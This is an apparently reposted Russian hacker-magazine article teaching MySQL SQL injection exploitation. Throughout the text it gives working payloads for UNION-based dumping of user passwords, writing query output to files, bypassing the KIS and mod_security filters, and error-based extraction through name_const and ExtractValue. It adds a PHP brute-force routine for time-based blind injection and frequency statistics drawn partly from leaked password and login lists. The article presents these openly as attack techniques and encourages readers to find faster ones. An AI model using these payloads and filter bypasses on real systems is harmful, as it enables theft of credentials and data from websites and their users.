http://www.xakep.ru/magazine/xa/132/062/1.asp

В последнее время стало модным писать про sql-инъекции. следуя этим тенденциям, мы подготовили для тебя новые методики ускорения работы с Blind-SQL и консолидировали некоторые новые трюки по эксплуатации самых обычных инъекций.

«SQL-инъекция» — способ нападения на базу данных в обход межсетевой защиты. В этом методе параметры, передаваемые к базе данных через Web-приложения, изменяются таким образом, чтобы повлиять на выполняемый в приложении SQL-запрос. Инъекция осуществляется через все доступные способы взаимодействия с приложением (GET/POST/ COOKIE/etc).

Нападение может использоваться для следующих целей:

1. Получить доступ к данным, которые обычно недоступны, или получить данные конфигурации системы, которые могут использоваться для развития вектора атаки. Например, измененный SQL-запрос может возвратить хешированные пароли пользователей, которые впоследствии могут быть расшифрованы методом перебора.

2. Получить доступ к другим системам через компьютер, на котором находится база данных. Это можно реализовать, используя процедуры базы данных и расширения 3GLязыка, которые позволяют взаимодействовать с операционной или файловой системой.

По техники эксплуатации SQL-инъекции условно можно разделить на три группы:

  1. Классическая SQL-инъекция
  2. Слепая SQL-инъекция (blind SQL Injection)
  3. Абсолютно слепая SQL-инъекция (Double blind SQL Injection)

Рассмотрим каждую технику более подробно. Учитывая, что эксплуатация SQL Injection сильно зависит от используемого языка структурированных запросов (SQL, Structured Query Language), ограничимся наиболее распространенной базой данных — MySQL. Также будем предполагать, что инъекция осуществляется через SELECT-запрос, а не через, например, INSERT.

Классическая SQL-инъекция

Класси ческая техника эксплуатации SQLинъекций — это, прежде всего, возможность объединить два SQL-запроса с целью получения дополнительных данных из некоторой таблицы. Возможность проведения классической инъекции во многом упрощает получение полезной информации из СУБД :).

Проведение атаки в основном происходит с использованием оператора union. В случае, когда в тело возвращаемой страницы выводится только одна запись из таблицы, прибегают к технике построчного чтения данных:

?/id=1 limit 0 union select
login,password from users limit 0,1
?/id=1 limit 0 union select
login,password from users limit 1,1

Или так:

?/id=1 limit 0 union select
login,password from users limit 1
offset 0
?/id=1 limit 0 union select
login,password from users limit 1
offset 1

Надо сказать, что получение данных из большой таблицы при таком подходе является достаточно долгим процессом. Поэтому когда пользователь, от имени которого выполняются запросы к MySQL, обладает привилегиями file_priv, становится возможным использовать вывод select-запроса в файл:

?/id=1 limit 0 union select login,password
from users into outfile '/tmp/users'

или

?/id=1 limit 0 union select login,password
from users into dumpfile '/tmp/users'

Собственно, возможность работать с файловой системой при эксплуатации SQL-инъекции — это один шаг до получения возможности выполнения команд на сервере. Потому SQL-инъекции и относятся к классу уязвимостей Command Execution в общепринятой терминологии.

Когда инъекция попадает в SQL-запрос, который осуществляется в таблице с ограниченным числом столбцов, прибегают к функциям склеивания данных, таким как concat() и concat_ws():

?/id=1 limit 0 union select
concat(login,password) from users
?/id=1 union select concat_
ws(':',login,password) from users

А для случаев, когда после внедряемого запроса присутствуют «остатки» от «хорошего» SQL-запроса, прибегают к вырезанию этого «мусора» путем использования комментариев:

?/id=1 union select login,password from
users-?/id=1 union select login,password from
users/*
?/id=1 union select login,password from
users#

Все просто и легко, но лишь до момента, пока суровые администраторы не стали использовать различные фильтры безопасности (aka WAF, Web Application Firewall), чтобы защитить дырявые Web-приложения. Такие фильтры преимущественно используют сигнатурный анализ, что является их основным недостатком. Возможности языка SQL во многих случаях позволяют обойти различного рода фильтрацию поступающих данных в приложение. Например, забавно наблюдать, как KIS 2009 ругается на следующий запрос:

/?id=1 union select password from users

Примечательно, что такие запросы проходят без какой-либо реакции:

/?id=1 union select passwd from users
/?id=1 union select pass from users
/?id=1 union select password from user
/?id=1 union select login from users—

И т.п. Но как быть, если необходимо использовать именно колонку с именем «password» и таблицу с именем «users»? Как один из вариантов, можно эксплуатировать уязвимость слепым методом:

/?id=1 and 1=if(ord((lower(mid((select password from users limit 0,1),1,1))))=NUM,1,2)-

В данном случае фильтр KIS обходится еще более изящно ;). Сигнатура срабатывает только на строки «password» и «users», следующие после ключевого слова «union». Учитывая это, можно составить запрос, который будет работать в обход фильтра:

/?id=1 and (select (@v:=password)from users limit 0,1) union select @v-/?id=1 and (select (@v:=password)from users limit 1,1) union select @v-

А вот так красиво обходится, казалось бы, непреступный waf mod_security последней сборки:

/?id=1/*!limit 0 union select concat_
ws(0x3a, login,password)from users*/
/?id=1/*!12345limit 0 union select concat_
ws(0x3a,login,password)from users*/

Это работает, потому как MySQL, встретив конструкции вида «/*!bla-bla*/» и «/*!12345bla-bla*/» проинтерпретирует «bla-bla» как SQL-код :). Во втором случае мускуль сравнивает свою версию с числом «12345» и, если запущенная версия выше этого значения, то sql-код будет исполнен. А «разумный» mod_security, прежде чем провести запрос по своим сигнатурам базы уязвимостей SQLInjection, избавляется от лишних данных в поступающем запросе, т.е. от комментариев вида /**/.

Но не всегда существует возможность влиять на возвращаемые данные приложением при внедрении операторов SQL. Тогда уязвимость является «слепой». Стоит также добавить, что многие фильтры (в том числе и WAF) легко обходятся именно с использованием техники эксплуатации blind SQL Injection.

Слепая SQL-инъекция

Слепая SQL Injection появляется, когда уязвимый запрос является некоторой логикой работы приложения, но не позволяет вывести какие-либо данные в возвращаемую Web-приложением страницу. Пример уязвимого кода на PHP, содержащего уязвимость Blind SQL Injection:
...
$result = mysql_query("SELECT
user FROM users where id = ".$_
GET['id']) or die('Query failed:
' . mysql_error());
if(mysql_num_rows($result)>0)
{
...

какая-то логика приложения, например, выполнение другого select-запроса

...
}
else
{
echo "error";
}
...

Слепая SQL-инъекция по своим возможностям сопоставима с классической техникой внедрения операторов SQL. Аналогично классической технике эксплуатации подобных уязвимостей, blind SQL-Injection позволяет записывать и читать файлы, получать данные из таблицы, но только чтение в данном случае осуществляется посимвольно. Стандартная техника эксплуатации подобных уязвимостей основывается на использовании логических выражений true/false. Если выражение истинно, то Web-приложение вернет одно содержимое, а если выражение является ложным, то другое. Полагаясь на различия вывода при истинных и ложных конструкциях в запросе, становится возможным осуществлять посимвольный перебор данных в таблице или в файле. Пример эксплуатации уязвимости для приведенного выше кода:

/?id=1 and 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777).

Если таблица «users» содержит колонку «pass», и первый символ первой записи из этой колонки равен 97 (символ «a»), то мускуль вернет TRUE и запрос будет истинным. В противном случае — FALSE, и для приведенного кода на странице отобразится «error». Приведенная выше техника использовалась долгое время, но после выхода X07’09 и X09’09 ситуация коренным образом поменялась. Qwazar описал новые направления эксплуатации слепых SQLинъекций. Его техника, в первом случае, заключается в использовании некорректных регулярных выражений, на которые MySQL по-разному ругается во время выполнения select-запроса (именно во время выполнения SQL-запроса, а не на моменте проверки его синтаксиса). Совместно с методом, предложенным Elekt (select 1 union select 2), Qwazar продемонстрировал, как за один запрос к Web-приложению можно подбирать до 12-ти символов. Запрос для атаки выглядит следующим образом:

/?id=1 AND 1 rlike concat(
if((mid((select pass from users
limit 0,1),1,1)in('0'))>0,(0x787B3
12C3235367D),
if((mid((select pass from
users limit 0,1),1,1)
in('1'))>0,(0x787B312C28),
if((mid((select pass from
users limit 0,1),1,1)
in('2'))>0,(0x5B5B3A5D5D),
if((mid((select pass from
users limit 0,1),1,1)
in('3'))>0,(0x5B5B),
if((mid((select pass from
users limit 0,1),1,1)
in('4'))>0,(0x28287B317D),
if((mid((select pass from users
limit 0,1),1,1)in('5'))>0,(0x0),
if((mid((select pass from users
limit 0,1),1,1)in('6'))>0,(0x28),
if((mid((select pass from
users limit 0,1),1,1)
in('7'))>0,(0x5B322D315D),
if((mid((select pass from users
limit 0,1),1,1)in('8'))>0,(0x5B5B2
E63682E5D5D),
if((mid((select pass from users
limit 0,1),1,1)in('9'))>0,(0x5C),
if((mid((select pass from users
limit 0,1),1,1)in('a'))>0,(select
1 union select 2),(1)))))))))))))

Так, если таблица «users» содержит колонку «pass» и первый символ первой записи из этой колонки равен нулю, то мускуль вернет сообщение об ошибке «#1139 — Got error 'invalid repetition count(s)' from regexp». Если первый символ колонки «pass» равен единице, то будет получена ошибка «#1139 — Got error 'braces not balanced' from regexp» и т.д. Другое направление по быстрой эксплуатации слепых SQL-инъекций, которое продемонстрировал Qwazar, заключалось в использовании сообщения ошибки MySQL в качестве «контейнера» для полезных данных (настоящий прорыв в методике эксплуатации blind SQL Injection). Так, запрос вида:

/?id=1 union select * from
(select * from (select name_
const((select pass from users
limit 1), 14)d) as t join (select
name_const((select pass from
users limit 1), 14)e) b)a

выдаст сообщение об ошибке, в котором будут находиться полезные данные из колонки «pass», например, MD5-хеш:

#1060 — Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'

Используя указанный способ, за один запрос к Web-приложению уже можно получить до 64-х байт полезных данных. Используя функции склеивания строк concat() или concat_ ws(), становится возможным достаточно эффективно и за короткое время получить дамп всей таблицы. К сожалению, подобный трюк с функцией name_const() пройдет только в MySQL версиях 5.0.12>5.0.64.

Продолжив раскопки в направлении замены функции name_const(), обнаружили не менее полезную функцию ExtractValue(), которая появилась в MySQL версии 5.1.5. Указанная функция предназначена для извлечения значений из XML-потока данных. Но для этой функции можно найти и другое, хакерское применение :). Следующий запрос:

/?id=1 and ExtractValue(1,concat(0x5C,(select pass from users limit 0,1)));

вернет сообщение об ошибке:

XPATH syntax error: '\f8d80def69dc3ee86c5381219e4c5c8'

То есть, с ограничением в 31 полезных байт за один запрос к Web-приложению можно считывать данные из таблицы при эксплуатации слепых SQL-инъекций под MySQL 5.1.5 и выше. Ошибка «XPATH syntax error» возникает по причине использования все того же некорректного регулярного выражения — «\\».

К сожалению, все описанное работает только в случае, когда в тело возвращаемой страницы попадает ошибка MySQL, а это, увы, происходит далеко не всегда. И что же? Вновь пользоваться унылыми техниками посимвольного перебора? Не всегда!

Очень часто SQL-инъекцию можно встретить в цифровом параметре приложения, а в зависимости от указанной цифры, Web-приложение возвращает разный контент. Уловил, к чему я клоню? Именно! Сопоставив цифры с самим контентом и наложив их на карту подбираемых символов, можно очень эффективно считывать данные из таблицы. Выглядеть это может так:

Заголовок новости 111 — идентификатор в параметре id=3245 — подбираемый символ 0
Заголовок новости 222 — идентификатор в параметре id=2456 — подбираемый символ 1
Заголовок новости 333 — идентификатор в параметре id=4562 — подбираемый символ 2
и т.д.

Запрос для атаки (например, точная идентификация первого символа в MD5-хеше) может выглядеть:

/?id=if((mid((select pass from users limit
0,1),1,1)in('0'))>0,(3245),
if((mid((select pass from users limit
0,1),1,1)in('1'))>0,(2456),
if((mid((select pass from users limit
0,1),1,1)in('2'))>0,(4562),
if((mid((select pass from users limit
0,1),1,1)in('3'))>0,(12345),
if((mid((select pass from users limit
0,1),1,1)in('4'))>0,(12346),
if((mid((select pass from users limit
0,1),1,1)in('5'))>0,(12347),
if((mid((select pass from users limit
0,1),1,1)in('6'))>0,(12348),
if((mid((select pass from users limit
0,1),1,1)in('7'))>0,(12349),
if((mid((select pass from users limit
0,1),1,1)in('8'))>0,(12350),
if((mid((select pass from users limit
0,1),1,1)in('9'))>0,(12351),
if((mid((select pass from users limit
0,1),1,1)in('a'))>0,(12352),
if((mid((select pass from users limit
0,1),1,1)in('b'))>0,(12353),
if((mid((select pass from users limit
0,1),1,1)in('c'))>0,(12354),
if((mid((select pass from users limit
0,1),1,1)in('d'))>0,(12355),
if((mid((select pass from users limit
0,1),1,1)in('e'))>0,(12356),
if((mid((select pass from users limit
0,1),1,1)in('f'))>0,(12357),
null))))))))))))))))

Стоит учитывать, что для данного метода существует ограничение на длину HTTP-запроса в 8192 байт. В остальном метод достаточно эффективен в условиях, когда сообщение об ошибке MySQL не отображается в возвращаемой странице. По большому счету метод является универсальным и не зависящим от используемой базы данных.

Двойная слепота

Бывают случаи, когда помимо подавления всех уведомлений об ошибках в возвращаемой странице со стороны Web-приложения, уязвимый к инъекции SQL-запрос используется исключительно для своих внутренних целей. Например, это может быть ведение лога посещений, различного рода внутренние оптимизации и пр. Подобные SQL-инъекции относятся к третьей группе — Double blind SQL Injection. Техника эксплуатации подобной группы SQL-инъекций основана на временных задержках между посылаемым запросом к Web-приложению и его ответом. В классическом виде для ее эксплуатации используют функцию benchmark(), однако лучшей практикой является использование функции sleep(). Функция sleep() более безопасна для подобных целей, ибо не использует процессорные ресурсы сервера, как это делает функция benchmark(). Пример самой простой реализации посимвольного перебора с использованием временной задержки представлен ниже.

function brute(
$column, $table, $lim)
{
$ret_str = "";
$b_str = "1234567890_
abcdefghijklmnopqrstuvwxyz";
$b_arr = str_split($b_str);
for ($i=1;$i<100;$i++)
{
print "[+] Brute $i
symbol...\n";
for ($j=0; $j<count($b_arr);
$j++)
{
$brute = ord($b_arr[$j]);
$q = "/**/and/**/if((ord(
lower(mid((select/**/$column/**/
from/**/$table/**/limit/**/$lim,1)
,$i,1))))=$brute,sleep(6),0)--";
if (http_connect($q))
{
$ret_str = $ret_str.$b_
arr[$j];
print $b_arr[$j]."\n";
break;
}
print ".";
}
if ($j == count($b_arr))
break;
}
return $ret_str;
}

Как можно увидеть, в массиве $b_srt для подбора данных используется алфавитный порядок. Сценарий последовательно пробует каждый символ из массива на совпадение с символом в базе. Попытаться ускорить процесс подбора можно, расположив символы в более благоприятном порядке или использовав бинарное дерево. Для последнего действия требуется воспользоваться символами «>» и «<», что не всегда возможно, так как очень часто эти символы переводятся в HTML-эквиваленты. Остается вопрос, — в каком таком «благоприятном виде» можно расположить перебираемые символы?

Классические работы по частотному анализу букв английского алфавита, доступные в Сети, подсказывают последовательность, начинающуюся с e, t, a, o, n, i, s, h, r, d, l, u, c (http://en.wikipedia.org/wiki/Frequency_analysis).

Расположив буквы в таком порядке, можно уже говорить об уменьшении количества посылаемых запросов к Web-приложению. Можно, но мы пойдем несколько дальше.

Не все буквы одинаково полезны

Все справедливо, но совсем не учитывает один интересный факт — на каждой последующей итерации мы гарантированно знаем значение предыдущего символа. А это немало, и таким свойством грех не воспользоваться. Для проведения дальнейших статистических изысканий была загружена библиотека из 5575 книг на английском языке разных авторов, жанров и размеров. Библиотека была загружена отсюда: www.gutenberg.org/files. Полный объем данных библиотеки составляет 2,15 Гб, 1’761’822’605 английских букв или 379’009’003 слов. Первый статистический результат интересно было получить для первой буквы в слове. Собрав соответствующую статистику по библиотеке, приходим к результатам, расходящимся с классическим частотником. По диаграмме на рисунке видно, что самая популярная буква для начала слова в английском языке — это «t», около 15% слов начинаются с нее. Прежде всего, это связано с обилием предлога «the» в английских текстах. Далее следует «a», которая в классическом частотнике занимает третье место. Но это все едино — значения практически совпадают. Интересно заметить другое: буква «е» — самая популярная среди всех букв — находится на 16-м месте по популярности первой буквы. Таким образом, при подборе первого символа, например, в имени пользователя, выгоднее расположить ее подальше в массиве. Обратный пример — «w», которая находится на 5-м месте среди букв, с которых начинается слово, и только на 16-м среди всех букв в словах. Итак, с первым символом стало понятнее, поехали дальше.

Фонетические цепочки

Учитывая тот факт, что языки обладают фонетикой, а фонетика завязана на слогах, была собрана статистика двухбуквенных сочетаний — то есть расчет, с какой вероятностью текущая буква следует за предыдущей. Получается, что буквы как бы цепляются одна за другую, поэтому методику условно можно назвать «фонетическими цепочками». Для всей библиотеки были построены такие фонетические цепочки. Полный результат анализа можно найти на диске. Число во втором столбце — это сколько раз буква была найдена следующей за указанной.

В первом столбце — сама буква. Получается очень громоздко и не слишком полезно. Однако чтобы понять, насколько это действительно полезно, необходимо проверить метод фонетических цепочек на практике. В качестве тестового образца были взяты две доступные в интернете базы данных: пароли пользователей Hotmail (около 10000 штук) и логины пользователей forum.searchengines.ru (около 70000 штук). Для каждой базы были построены аналогичные фонетические цепочки, результаты сравнивались с цепочкой, полученной для книг. И результаты совпали по динамике.

Приводить здесь все 26 диаграмм бессмысленно, поэтому ограничимся только двумя для букв «a» и «s», которые входят в пятерку самых популярных первых букв логинов, паролей и книжных слов. Сходство статистики для паролей, логинов и слов из книг налицо. Видно также, что логины больше статистически похожи на слова из книг, нежели пароли. Учитывая все придуманное и посчитанное выше, получаем новую, статистически грамотную функцию для эксплуатации Double blind SQL Injection (ищи ее на нашем DVD). После статистического анализа слов английского языка, логинов и паролей в голову может прийти мысль о распределении символов в значениях хеш-функций. На самом деле, мысль абсурдная, поскольку все распределения символов в хешах должны быть равномерны, на то они и хеши, собственно :). Но для наглядности можно проверить это на примере списка логинов и хеширования md5. Результаты на диаграмме, как видно, полностью подтверждают равномерное распределение.

ЗАКЛЮЧЕНИЕ

Надеемся, материал был познавательным и интересным. Призываем искать и находить еще более красивые и быстрые методы эксплуатации инъекций. До новых встреч в журнале!

Info

• Авторские блоги: devteev.blogspot.comoxod.ru.

• Использование бинарного дерева при эксплуатации слепых SQL-инъекций заметно повышает эффективность посимвольного перебора (injection.rulezz.ru/mysql_char_brute.html).
• en.wikipedia.org/wiki/Frequency_analysis — базовые знания по частотному анализу можно почерпнуть в ВИКИ.
• bxmemo.narod.ru/index.html?text.htm — программа для составления словарей на основе частотного анализа.
• statsoft.ru/home/portal/exchange/textanalysis.htm — статья о частотном анализе в разных языках. Рекомендуется к прочтению весь раздел «Используемая литература».

Warning

Внимание! Информация представлена исключительно с целью ознакомления! Ни авторы, ни редакция за твои действия ответственности не несут!

 Leave a Reply

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

(required)

(required)

   
© 2012 Программирование в удовольствие Яндекс.Метрика Suffusion theme by Sayontan Sinha